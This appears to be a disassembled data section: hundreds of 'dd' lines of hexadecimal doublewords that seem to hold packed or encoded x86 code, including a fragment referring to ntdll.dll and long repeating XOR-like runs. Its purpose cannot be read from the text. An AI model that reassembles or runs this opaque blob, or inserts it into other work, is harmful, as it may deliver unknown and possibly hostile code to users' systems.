dd 57F46A13h, 58B075h, 54DC36F5h, 0CEA8D5F2h, 6D376590h
dd 0D53F97D0h, 233C6A99h, 86340BE1h, 0C2248673h, 4065711Fh
dd 0C49E19C6h, 622C5A85h, 0CA6DE3C5h, 4F8DB2F0h, 5D8CC824h
dd 0E603652Fh, 6697C200h, 6F726BF2h, 7BA9655Dh, 0B8000001h
dd 4E345178h, 0E0C6E312h, 715774A3h, 0E60336h, 767A97C2h
dd 0DD08466Ch, 7299DAC0h, 5306F55h, 95C802E8h, 1CCAAB78h
dd 13265F5Ah, 0C22D0B64h, 563C5984h, 9ECCE91Ch, 275588C2h
dd 0D9F62963h, 0E99748A0h, 16C91AA5h, 0AE51B329h, 0F2E4AE7Fh
dd 8D5785B8h, 96D7C6DCh, 0D1ECCF9h, 0BE1C3206h, 0DA77AAE4h
dd 1A4D88F8h, 13B15B8h, 5AFC2BCEh, 0A79BEBADh, 0CFB55CF9h
dd 1D346295h, 91B255C5h, 0F14D78B7h, 32EC89B0h, 19DDF0BFh
dd 0D61C4DC3h, 956F6E02h, 0E0E19Dh, 0DD1D0000h, 77B399B6h
dd 8452B48h, 9BD6BCD9h, 27654B68h, 7DBDFFCh, 25426DABh
dd 0BAD7FE3Fh, 4D6A95D4h, 0DDFA2D67h, 3D812F10h, 0C113265Fh
dd 176F8A68h, 8B33B258h, 0F6589ABAh, 9C0AA553h, 0DA501C34h
dd 7BAEE8ACh, 113E785Eh, 251C5AD0h, 8BE3EDEDh, 8031FB29h
dd 206B4BE2h, 0C2F0520Dh, 0B4307B2Ah, 670E31CDh, 608F033Dh
dd 947B8592h, 90D606CFh, 0C542B112h, 730E1D3Fh, 5BD129AAh
dd 0BCF6DCF9h, 5C975B89h, 6FAC8629h, 7EBA340h, 85BFE590h
dd 97D5AF52h, 5B1BC96Ch, 6342B197h, 0C3A950EDh, 0F41B5C89h
dd 0F79AFCC6h, 5DC080C8h, 0FF9C16FEh, 0A20D3C47h, 0D29F091Eh
dd 75A4E13Dh, 1CFAD8h, 7B3A0000h, 1AEAAC5Ah, 3DF416C9h
dd 0C91ACF8Fh, 0F759CF16h, 71279846h, 78151B77h, 82C20371h
dd 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h, 0BBF9BDEBh
dd 639E6290h, 13E0230h, 0A4E0A4D2h, 81864775h, 4ECh, 242C8900h
dd 0C581E589h, 4, 8704ED83h, 685C242Ch, 1BD9h, 57243C89h
dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0B951241Ch, 0BDB02FFh
dd 5705E9C1h, 6FACA5BFh, 5FF929FAh, 5459CF89h, 81241C8Bh
dd 4C4h, 8BA5200h, 81000000h, 9503A1C2h, 81DA0116h, 9503A1EAh
dd 5A3A8916h, 5B2434FFh, 4C481h, 34FF0000h, 0C4835F24h
dd 38CDE904h, 1BFFFFAh, 41FE5BFFh, 0EF46AAB8h, 50C50305h
dd 0EE585C6h, 684705E9h, 0CF381725h, 2345B5FFh, 858D05E9h
dd 5E939CFh, 0D88BD0FFh, 13D9858Dh, 685005E9h, 104h, 85C6D3FFh
dd 5E90EE5h, 0F8BF6853h, 0B5FF8307h, 5E92345h, 39CF858Dh
dd 0D0FF05E9h, 29538589h, 0BD8305EFh, 5E91EDDh, 0B840F00h
dd 8B000000h, 0E92E459Dh, 5E905h, 0BB0000h, 68000000h
dd 100h, 2957B58Dh, 535605EFh, 270195FFh, 0B58D05E9h, 5EF2957h
dd 1E9F003h, 4E000000h, 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh
dd 6C6FFFFh, 57858D00h, 5005EF29h, 295395FFh, 0FF5805EFh
dd 94EFEBE0h, 74928875h, 0EA4A9B14h, 38446E4Ah, 0B02AE96Ah
dd 69C69213h, 5476D923h, 0B6446013h, 91E1B83Ah, 808AEB7Fh
dd 0CB839914h, 22B2D634h, 6C8C770Eh, 0D0C4FA31h, 1C886F0Ah
dd 74C5E31Eh, 5E1E30Bh, 0ABB5B733h, 4F37C95Eh, 1800F470h
dd 4AE67340h, 2058EA4Ah, 0AE87Dh, 0CE500000h, 1AC6B7Bh
dd 0FA3A4EAEh, 0C8E0F59h, 0F000000h, 68Ah, 8F0F00h, 81000000h
dd 6DD2C1h, 4FBEF800h, 6600001Bh, 31FFDF8Bh, 6658D48Ah
dd 0E881D18Bh, 2BD5052Ch, 0A5C081F5h, 8B06FC98h, 76F081D6h
dd 0F1ECF7Eh, 686h, 0D6D28100h, 501AA737h, 2840Fh, 0C5B60000h
dd 13E9018Fh, 4A000000h, 969443B4h, 16CDAFDCh, 9E375955h
dd 0EBE63A62h, 0E983747Fh, 18ECBF03h, 0E9491F9Fh, 0Bh
dd 44BD7BA8h, 0D11FB13Bh, 4EFD3188h, 0FF94850Fh, 0E2B3FFFFh
dd 0AE8h, 9BDC4200h, 0BE0F2242h, 52B73336h, 59F28B66h
dd 38B3575Ah, 61C2815Eh, 0F800006Dh, 1B17BFh, 8E900h, 1E040000h
dd 0A9B7C3h, 32FFE355h, 0C3806060h, 0BE9B2h, 0AE390000h
dd 9832CB76h, 150920A1h, 586161B9h, 0B8F0Fh, 81600000h
dd 19033DF2h, 0D3B70F6Eh, 66E88161h, 5612DF48h, 66585160h
dd 618D3CB8h, 0E8C08159h, 66394C43h, 6FDDC981h, 22D3E881h
dd 0DE9529Fh, 0F6000000h, 0ECA5A2F3h, 4FE57FE2h, 0ED646B53h
dd 0CE950h, 0AA8F0000h, 7D1E96B6h, 41F6C650h, 28F8879h
dd 83F0B70Fh, 0F6004EAh, 188Ah, 13E900h, 0A9D10000h, 0BFA1F12Ah
dd 0D3D15803h, 61978FDAh, 0BAE0623Ch, 61D68B4Ah, 1EF81h
dd 850F0000h, 12h, 0F87EBB66h, 2DE9h, 831DE600h, 0CCB3CFA7h
dd 14E93F3Ch, 63000000h, 1C10042Dh, 816F880Fh, 0F3E5BB59h
dd 28B0C25Bh, 0E9D76843h, 0FFFFFF2Ah, 90DDDB05h, 7E8C44Eh
dd 9000000h, 33F35D67h, 40B218C2h, 2789BA5Bh, 0C3811DC6h
dd 6D20h, 68CFB70Fh, 0
dd 805ECF8Bh, 34FF3DE6h, 5FC38B1Eh, 15880Fh, 0F600000h
dd 0BE9F3B7h, 8E000000h, 83F99B09h, 554417E3h, 816157BFh
dd 21F0B3C7h, 0D2816664h, 0EF814E13h, 2DE8CFBDh, 1C4CF781h
dd 8A0F5982h, 5, 7B9FF4B9h, 0BE85751h, 0DA000000h, 0B4118C4h
dd 588E3749h, 8B664DF2h, 48F5AC2h, 1BE9BA33h, 800F744Dh
dd 3, 810CD980h, 72EE84EEh, 36D28052h, 0EE80C681h, 0B70F5272h
dd 9CFE81D6h, 0FFFFF93h, 0FFFF7985h, 108C0FFFh, 0E8000000h
dd 7, 6B3C95Ch, 0FCD6869h, 8D5AC2B7h, 0EF4B708Dh, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0CA30B62Ch, 62786264h, 8166C984h, 89A560D6h, 0E926558Dh
dd 0F18B6605h, 80585C7h, 625805E9h, 0BA660000h, 0B5090D2Fh
dd 5E91949h, 163D85C7h, 5E9h, 0F600000h, 685h, 0E19D8900h
dd 0F05E91Ch, 0FF61DABFh, 0E9257DB5h, 56006A05h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 7CA3494Fh, 0D280E80Fh, 0C595FF80h, 6A05E90Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 3ABC355h, 1665BD31h, 6A05E9h, 1E9595FFh, 0C08B05E9h
dd 0A9CD0DEBh, 0E4C3855Eh, 4292A877h, 8D34D1B3h, 0EF4C928Dh
dd 0DE905h, 49EB0000h, 443050D7h, 68720A0Ch, 89F9856Ch
dd 0E926558Dh, 71BD8B05h, 6005E92Dh, 89595260h, 0E92D919Dh
dd 9D016105h, 5E93185h, 585C761h, 0AC05E908h, 0E9000063h
dd 0Bh, 8F17249Dh, 7662828Ah, 0C7D33537h, 0E9163D85h, 5
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0F5BA0D85h, 49E28092h, 15DDB5FFh, 6A05E9h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 7C5BF5C3h, 0FA2F2A87h, 8919BFF7h, 0E9266D85h, 0C98D0105h
dd 0FF05E905h, 0E90BC595h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 84343E0Ah
dd 0E86B3E2Bh, 0Eh, 34CAE0D2h, 3A693830h, 0E412EB5Bh, 0CE986E4h
dd 77000000h, 0E90BA105h, 61C65535h, 5897241Dh, 0D852951h
dd 5B05E932h, 95FF006Ah, 5E91E95h, 1FEBC08Bh, 0B61F2027h
dd 9AC295F1h, 0F4AFBE1h, 361B0E56h, 90244816h, 0AA7A31AFh
dd 5269C073h, 0EB264FF2h, 0B61B9026h, 8EAFEC33h, 64746E55h
dd 642E6C6Ch, 88006C6Ch, 34074621h, 2EA3D25Dh, 546121h
dd 0
dd 0E9000000h, 693h, 0EF4E1768h, 3309E905h, 0BC68FFFAh
dd 0E905EF4Eh, 0FFFA32FFh, 0EF4F5168h, 32F5E905h, 6B68FFFAh
dd 0E905EF50h, 0FFFA32EBh, 0EF512868h, 32E1E905h, 0E368FFFAh
dd 0E905EF51h, 0FFFA32D7h, 1F3C63A3h, 0B1CEFD39h, 425F8ECBh
dd 0D1EE215Ch, 6582ADEBh, 0FB398161h, 8CCDB3D0h, 23624865h
dd 0BBF5DBF8h, 0BD9E6B88h, 26574F0Fh, 18F64F13h, 36CAh
dd 88C20A00h, 0E391B255h, 16C91AA3h, 80C6742Bh, 0E16C91Ah
dd 0E5933698h, 16C91AA1h, 621AB72Dh, 0B8FB2857h, 46DD0652h
dd 5689C3A9h, 40437F39h, 80BF16C9h, 6F0A3855h, 2A04A717h
dd 0C892C0EBh, 0E350FE2Bh, 431C3200h, 3B079FCDh, 3C132030h
dd 0FD1DA9Bh, 214526FDh, 21Ah, 0B4884E7h, 0F2A043B3h, 1C321C0Dh
dd 181CD706h, 0CEA9ACEFh, 0DC0A3172h, 1D937512h, 0FDBB58EEh
dd 3C945F1Bh, 0D90829CCh, 1EABAE5Ch, 8ACCFCF1h, 14D70E25h
dd 26D4019Eh, 0DDF53F8Dh, 1E3563D9h, 5B356C6h, 0D81B456Eh
dd 0C19B3EB4h, 90B15487h, 0B759CE2h, 0FAC22D7h, 15488268h
dd 0B24C15E4h, 6E2A22ADh, 4ADh, 27446BABh, 0B9D60541h
dd 4A6796D3h, 0D9F62964h, 6D8AB5F3h, 3417969h, 94D5BBD8h
dd 2B6A506Dh, 0C3FDE300h, 0C5A67390h, 26545717h, 20FE5713h
dd 661488C2h, 16C91A20h, 0A8D638AEh, 5786C39Dh, 0B92981BAh
dd 84B6816h, 259B1C32h, 0EBE8E408h, 0D2802393h, 19DB2E2Dh
dd 84E2F726h, 22B5459h, 0DE0D8365h, 4006B4D5h, 4E16C976h
dd 0A6813BD8h, 0D57F65FDh, 0BC6A0D7Dh, 84AFD517h, 94ABD94Fh
dd 7B29CC3Ch, 8141AF14h, 6B45E85Eh, 0B4E1FE31h, 42709BDAh
dd 0BBF5DB78h, 36965788h, 0E5DDD6DCh, 40829h, 9FC60600h
dd 31609C82h, 0C2F12E14h, 5184BFA5h, 0E5104E34h, 941EC4C8h
dd 280E2B56h, 0BDA3C0E7h, 5036537Eh, 0F9C6E316h, 54246A18h
dd 51AA1326h, 5588C273h, 0A3E391B2h, 2B16C91Ah, 496018B5h
dd 0BDDE81F1h, 0C874618Eh, 97346208h, 314F84DDh, 0E98C021Ch
dd 0AA7CE0Fh, 62D22A63h, 0C5F111BFh, 9F1519DDh, 0B5E822FCh
dd 9C4A6B98h, 16CFCDDAh, 0EBD16EE4h, 39507EB1h, 20CE71E1h
dd 1C34C43Fh, 541AC87Fh, 5A1326CAh, 765182E4h, 0C96984EBh
dd 37315D1h, 31710000h, 0CB07ED0Ah, 5C997F9Ch, 0EF2A102Dh
dd 7BB99FBCh, 0B32F3350h, 819EC907h, 16335A9Bh, 0A9C6F130h
dd 395689C3h, 99DD8B6Ch, 25132655h, 88C2EECCh, 97D8B255h
dd 0DF0D3876h, 0BB85B315h, 5AF71E5Fh, 0C3338BA2h, 4DEFF20h
dd 276797CAh, 0A716C91Ah, 25DA9431h, 691C321Dh, 0CFA9D6F3h
dd 12C6A93h, 0AA709D3h, 1B72Ch, 59936D00h, 2B227526h, 38AD9A19h
dd 0A17B6D9Bh, 410B3960h, 0DE7BA6E5h, 70C817BAh, 45835D00h
dd 0D13B691Ah, 13E0650Ah, 7284976h, 0C9371559h, 2D549516h
dd 67DD35FFh, 31EF10CAh, 0B92F1C32h, 68A7818Ah, 0A8450F3Dh
dd 0EDE094EEh, 0D3439B69h, 0F8858230h, 5D7EECE7h, 0F5D0EFAFh
dd 7EB1EBE3h, 0B82E8650h, 20C3391Bh, 80DC0746h, 0C0781544h
dd 0A0E694B5h, 2EE3F5D0h, 8AE21BB8h, 0AAC9771Ah, 0F0E9099Ah
dd 0DB194680h, 56B882B0h, 3D7751F4h, 46A2D510h, 0E3ADDB0Ah
dd 5D376481h, 0F9C3F120h, 93C765Ch, 0A409ABD8h, 4400F87Eh
dd 259h, 0D3F01757h, 6582B1EDh, 0F613427Fh, 85A2D510h
dd 1936619Fh, 0A7E5CD15h, 38795F7Ch, 0CF0EF411h, 67A187A4h
dd 694A1734h, 264AFBBBh, 0CCAA0313h, 3467A17Bh, 0B99F3C06h
dd 71E4C7Fh, 0EE9C3FAFh, 1C3208C5h, 4707B5D6h, 43132028h
dd 0D83DB02h, 0FB188E70h, 0D5F6F9D7h, 284006B4h, 0D84E1320h
dd 2028E6A8h, 9723E813h, 925F263Dh, 8A38DB3Dh, 132087C4h
dd 7EB754CAh, 6513B626h, 19DB8180h, 0DBB558CEh, 17D06DA0h
dd 29519A81h, 0C1318995h, 5797701Eh, 61D792D3h, 54C41C33h
dd 356C03B1h, 40B6973Dh, 64A27C9Dh, 7CB69C39h, 0C462C49h
dd 9A81A8D9h, 0D6CEE090h, 19C1Ah, 335A9A00h, 0C5F43016h
dd 5685C2A8h, 0E5185339h, 79A4E2C8h, 308A585Ch, 0C4AAC7F2h
dd 593F5C83h, 0ECD2EF1Ah, 95627FB2h, 4B4006B4h, 0F54E1326h
dd 5588C217h, 48B81027h, 6FAA84A5h, 0A6D40742h, 23DD7ADCh
dd 1C31FB7Eh, 0C7F51288h, 4A7176Fh, 345E5A56h, 0C76AE01Ch
dd 0DD80B3EDh, 0F895C803h, 0FE316B51h, 0F161B9D0h, 122AA04Eh
dd 0F66C19DBh, 123F7953h, 0B27CAAD1h, 947EAD50h, 3B9B5F7h
dd 2D38C010h, 25874091h, 336188C9h, 3F25CC69h, 8DA4D205h
dd 7422C535h, 1C32EEFFh, 94DFB1Ch, 951320E5h, 0E56E30DEh
dd 0FA701320h, 0A319FB98h, 8ABB3972h, 0D28E8669h, 0E1h
dd 5B789FDFh, 0ED0A3975h, 7E9BCA07h, 0D2A5D98h, 0A1BEE927h
dd 2F6D459Dh, 0C001E704h, 57967C99h, 0EF290F2Ch, 0F1D29FBCh
dd 264B0343h, 54328B13h, 4A7176Fh, 0C376B4E3h, 0E2B5B8C7h
dd 20998B45h, 35561C34h, 0C1F11C5Bh, 132628FDh, 3B93BEFDh
dd 814628C5h, 47FA37ABh, 0C5F3555Fh, 0F194C701h, 9981F5C2h
dd 0D17D2E5Dh, 832AC756h, 8D30639Dh, 7AA2245Eh, 16E00E3Dh
dd 51622B65h, 0B764FCB4h, 0F1CDBC9Dh, 93BEFCD6h, 0C9FE9B65h
dd 8BBEF8ACh, 2967416Eh, 417B61FEh, 0BB3C6B0Eh, 561C0AC0h
dd 0A3671FBCh, 43073568h, 0E6AAD807h, 6A4E7CA7h, 0A01C82F3h
dd 0EB1A5731h, 485C194Eh, 76A5E10Eh, 51CD7E48h, 5B41B84Eh
dd 2546E94Bh, 0A88F3777h, 0A441B742h, 0AADD17FDh, 3C07Ch
dd 0A1000000h, 5B82C233h, 0FC2F692Dh, 0A0CB0ACEh, 466DAE72h
dd 0EB165418h, 90BBF9BDh, 30639E62h, 0D2013E02h, 75A4E0A4h
dd 89538647h, 4C381E3h, 83000000h, 0FF5304EBh, 5B042474h
dd 5C24048Fh, 516868h, 242C8900h, 0EDD68h, 240C8900h, 4D1FB951h
dd 895605EFh, 5EF589CEh, 4EC8159h, 89000000h, 4832424h
dd 55590424h, 5716BD55h, 6C31137Dh, 8F5D0424h, 71810841h
dd 7D571608h, 240C8B13h, 81E18951h, 4C1h, 4C18100h, 87000000h
dd 8B5C240Ch, 8952242Ch, 4C281E2h, 83000000h, 148704C2h
dd 88E95C24h, 0D7FFFA2Ch, 1AA84F34h, 0B806EF80h, 5EF52E9h
dd 0E0FFC503h, 56D680DEh, 79EBAAB9h, 783D9357h, 4EFEAC72h
dd 77339CD3h, 30F01FCDh, 3C1AF272h, 6A76AEE1h, 38345F63h
dd 1AE33DBFh, 636B4355h, 49BD2038h, 4744B554h, 11C9E752h
dd 14E8h, 4A787A00h, 7A2FAA6Eh, 47BCF338h, 0F48AF105h
dd 297F76BAh, 8E9CFh, 7BB0000h, 5AC8A335h, 0B85E0347h
dd 63A20AF9h, 686AC681h, 820F0000h, 5, 1032D7B8h, 19F06861h
dd 60500000h, 5861BBB5h, 1E8BF859h, 10E9h, 3DEDE000h, 7EDF5284h
dd 0E5D8CE2Fh, 0C31278F2h, 7CF3818Bh, 5712D5F7h, 0DC88BF66h
dd 80EB815Ah, 0BF600EADh, 3BED872Fh, 48F1C381h, 800F4F8Ah
dd 0
dd 0E1DC8053h, 0EA80068Fh, 3EE83F5h, 0C34DBF60h, 0ADB96721h
dd 611F7710h, 0FDEEB84Eh, 0E9810E6Ch, 1, 0FF9C850Fh, 0DAB8FFFFh
dd 0EB541617h, 8, 848C9200h, 526E909h, 7A680000h, 0E905EF55h
dd 0FFFA2B73h, 0EF560168h, 2B69E905h, 7968FFFAh, 0E905EF57h
dd 0FFFA2B5Fh, 0A7C4EB2Bh, 395685C1h, 0CAE71653h, 5976A9E4h
dd 0ED0A3573h, 83C1F9E9h, 14553B58h, 0ABEAD0EDh, 437D6380h
dd 4526F310h, 264ED797h, 0A07ED713h, 2B5984C2h, 0E625FF20h
dd 93C38DBBh, 16C91AD3h, 1D37CC82h, 0BF174C41h, 8CC6AC49h
dd 350F3C59h, 0D29CCAF9h, 34A4FC35h, 4B7AB791h, 96D381AEh
dd 201C32FBh, 0DEE47CAAh, 191320F3h, 0E2AEFD78h, 0FE45263Eh
dd 326h, 81ACEBC5h, 0BEEC8953h, 0B40C4384h, 5F80A144h
dd 0C91AEDB1h, 81B0ED16h, 5C16B329h, 1C321CBBh, 0C85E8D03h
dd 66473AB3h, 41E454ACh, 0BD9E1293h, 3A61CE4h, 5364E2D4h
dd 2DCA6688h, 96065E75h, 52A3D2F3h, 0B4BDE1EFh, 8D843EDBh
dd 95E1576Eh, 68A27C1Fh, 73CFFE3Bh, 86A30538h, 23366A0h
dd 76E85CADh, 81E6A29Ah, 48000003h, 0DEC4E108h, 705673A2h
dd 1E70433h, 907693C6h, 60A2752h, 6D98D6DCh, 2296A50h
dd 95C0FFE5h, 25589278h, 0AC5A3B08h, 13264FEAh, 6FBD9BF4h
dd 0E304A717h, 69A6CB09h, 0E0420C3Ah, 914BE8B2h, 1C3466E5h
dd 98C704DEh, 3B6AA66Ah, 44E1430Dh, 2849EC62h, 9E01AFF9h
dd 6906ED56h, 0FD1A4583h, 80AED917h, 33754675h, 8E08EEC4h
dd 9AC8F332h, 8A7933D0h, 0CC63ACE1h, 7F2E5F92h, 0D07563CEh
dd 2FA1CD8h, 81C10000h, 1B573D5Ah, 0ACE9CFECh, 3F7A607Dh
dd 0CB09EF0Ch, 637F83A0h, 0D1EE1957h, 6683AAEBh, 0F9164180h
dd 89A6D913h, 692DDBBCh, 7513264Ch, 176F3E1Ch, 1AF6B866h
dd 789F16C9h, 34D7D37Eh, 45A71D75h, 69A781A2h, 0A946103Eh
dd 341887EFh, 3610C71Ch, 0D19BC9FCh, 2630DDA1h, 96BE113h
dd 0D7974566h, 0D3132630h, 9C126A95h, 93AF47FFh, 0EF132630h
dd 935785B0h, 39FD2B52h, 0D49ECCFFh, 1688ED4Ch, 44670EAFh
dd 4520F99Ch, 0A2F05988h, 0B82F824Fh, 19CFA1Bh, 0E7C10000h
dd 86507EA9h, 88C2BBE9h, 0FB1C2755h, 0C91A094Dh, 0C31F9516h
dd 622C5A85h, 72A5DFC5h, 54C41C55h, 6A9DD7B1h, 0A8D5723Ch
dd 32237DFAh, 0A2DCB61Ch, 7AF0D26Fh, 0C8EB44Ch, 48E91320h
dd 0C5D27E2Dh, 3BCE4526h, 94000000h, 4A7176Fh, 32294D56h
dd 1543B91Ch, 200B457Dh, 0F819B213h, 200B044Ah, 77148A13h
dd 92A3342h, 200B1B5Bh, 236B4A13h, 0D1F0FBAh, 0C3A23FB5h
dd 4526CE1Dh, 9613h, 88C2D900h, 421C2755h, 0DFA9D706h
dd 0F31E5C42h, 94C701C5h, 40815B66h, 8421EB19h, 1431649Eh
dd 0C9164A5Ah, 5F92CC16h, 41B10942h, 80C3F09Eh, 0FED81C2Fh
dd 5D6896BDh, 22A8EFAFh, 1779EF13h, 7F22987Ah, 0E3C67A5h
dd 0A07AA744h, 341A3762h, 0F99ACBF6h, 366988F0h, 182823Eh
dd 9490000h, 0A3DFC5E2h, 34715774h, 0C702E805h, 53917794h
dd 0DB070B28h, 5976A1DFh, 0EE0B3273h, 819EC908h, 112E619Bh
dd 0F1B56344h, 0FD13264Dh, 84C2C6A4h, 1C563C59h, 0C29ECCE9h
dd 63275588h, 0ACD9F629h, 1A99DD8Bh, 2CDA16C9h, 16C91A6Ah
dd 30A6FE74h, 43025A93h, 81BC1A94h, 0A556204Eh, 9DFF9919h
dd 7234CFAh, 0F56B1C32h, 0FF082352h, 22BBFBA9h, 0CD431320h
dd 3EA69E1Ch, 5C9A74A1h, 0A7C42F0h, 0C821320h, 0EFD38DAAh
dd 1313200Ah, 0E203A6D9h, 200A7234h, 0E397813h, 48BE16E0h
dd 507EB1ECh, 1542E986h, 0A3D1FC3Bh, 1375A0DFh, 2D529076h
dd 3563C5ECh, 0C779h, 176FB900h, 0E1436EADh, 66E2903Eh
dd 0CAF91C34h, 47464AE7h, 6648E5CFh, 7E2C4DF0h, 13265238h
dd 0FBB350C6h, 58A0CFF0h, 7486B56Dh, 0AE125484h, 269C1326h
dd 6CD3DD75h, 922F1E4Dh, 9C3F72ACh, 609D3C6Dh, 0FFC9F722h
dd 2F91C84Eh, 264D3D81h, 0E94BC113h, 85BFA54Ch, 7E542F03h
dd 5FC168DBh, 23079931h, 9ABD1740h, 5C8FC9DBh, 0EC1F593Fh
dd 8CBFFABEh, 0C847BAE9h, 0ADBA0F06h, 0FD745810h, 16C4E578h
dd 1F4DE650h, 654BE85Eh, 4509B72Bh, 491F4DE6h, 2C0ED984h
dd 52B4AAC0h, 0B3EDD3F0h, 156DA631h, 0E23EFF98h, 824C7AA1h
dd 0E14E7D20h, 0EFD54861h, 6622DA77h, 0Ch, 0E16778A7h
dd 65E127D6h, 33A19AC8h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah
dd 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh
dd 4775A4E0h, 4EC8386h, 89240489h, 405E0h, 0E8830000h
dd 24048704h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h
dd 243C895Ch, 21CB68h, 242C8900h, 400367BFh, 524F4F56h
dd 50AECEBAh, 5AD72950h, 242C8B54h, 5104C483h, 4D89F989h
dd 240C8B08h, 4C481h, 34FF0000h, 0C4835D24h, 243C8B04h
dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFA265Fh
dd 4DEF2D64h, 750B8DA5h, 0EF5920B8h, 0FFC50305h, 1D1799E0h
dd 0C6EE8A37h, 587BEC46h, 82047904h, 3AC9CD68h, 0C6B03036h
dd 0D68D8D03h, 6A05EF5Ah, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 0BB4DC357h, 4D118749h
dd 430729A7h, 5DBD29h, 0B58905E9h, 5E90EC5h, 26558D89h
dd 858B05E9h, 5E923B5h, 80585C7h, 5C3405E9h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 29B19DC3h, 8B674F39h, 0E92439BDh, 890F6005h, 6, 24799D89h
dd 5E905E9h, 3000000h, 12F53AEBh, 9D858B61h, 0C705E91Fh
dd 0E9163D85h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 0FFF5E9F5h, 0E9182DB5h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0B23D7B28h, 38562198h, 0C595FFDFh, 6A05E90Bh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 9A3AC352h, 0B7A8DC29h, 0F78B6687h, 95FF006Ah
dd 5E91E95h, 6BEBC08Bh, 0F8B604DBh, 0D83EC648h, 58A0A8F5h
dd 0AE93DD04h, 0AF5E73A8h, 379BCF1Fh, 394D3B40h, 732C8EBh
dd 0E828EF02h, 0E0F1BB55h, 5A12B933h, 0BA9C2CF9h, 0DC9CE4Eh
dd 42004036h, 0AA16D849h, 79FDDF27h, 6A0058DCh, 3E32A989h
dd 25CCEAACh, 0F747CEA4h, 731A4D82h, 45B1E130h, 39814F83h
dd 0F6C3CFB7h, 0D874A1A4h, 1C80F15Bh, 5393E39Fh, 5DB13EE8h
dd 0ACF23256h, 55F201EEh, 0ABB13256h, 0D5B13256h, 0EAE89EEAh
dd 75EB827Fh, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
dd 5DB13256h, 0AEB13254h, 57B83581h, 0ABBD3255h, 0D5BB3254h
dd 0E99D327Eh, 77F63256h, 0B8F63256h, 3DE3F27Dh, 0A1D05336h
dd 37E36267h, 0FB803D37h, 8F803D04h, 0B0E9680Eh, 5185BB0Eh
dd 29D0F1DDh, 5DB121BFh, 0FBBD0D56h, 8649693Ch, 0A6150560h
dd 0DCA1E194h, 2F8D1D58h, 75BCDB37h, 5CF03256h, 2FCCE671h
dd 10C87295h, 36845E49h, 0BA950EDFh, 98554520h, 61D72154h
dd 0FCD06A87h, 0EAB51612h, 0FE15204h, 0F6EB0359h, 36698D59h
dd 0F9E10359h, 0E4BE6006h, 0DBBE6A0Ch, 2DEB5336h, 0E2E96A0Ch
dd 0FE10359h, 9FBE6006h, 66BE6A0Ch, 0F3EB5336h, 30216A0Ch
dd 8BD10359h, 2DEB6A0Ch, 0E8E132DDh, 0FE16006h, 0F6EB0359h
dd 5E10359h, 0F3EB0359h, 0E4BE6A0Ch, 0EAB13FBFh, 4287E356h
dd 69733FF2h, 72BF3B46h, 0F6EBF76Ah, 539576DFh, 0F9E16006h
dd 0D5B13ABFh, 54C87256h, 0BF845E49h, 0DA803D6Dh, 52E96837h
dd 0BE055267h, 57B138BEh, 239A4856h, 0E1B67477h, 0B212E00Bh
dd 2DE96837h, 0F4F86245h, 7B44E39h, 0F6D0AFDDh, 57B13256h
dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h
dd 0B2EF37BCh, 4134BF53h, 0DEB4DC9Ch, 44EA69D4h, 8933BF53h
dd 63B4DD98h, 9AEA6DD4h, 0B3FFDA53h, 26593256h, 69B13256h
dd 0B8EA79D4h, 0ABB13253h, 50776056h, 0EF583CB3h, 0CDE35A00h
dd 0F4EAEFEh, 58582CABh, 0D4DEB7DBh, 874E37BAh, 0B384B7DFh
dd 0D1DB37BFh, 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h
dd 27824696h, 0B8EA79D4h, 0E433BB53h, 6CB4DD0Dh, 0EAB23F16h
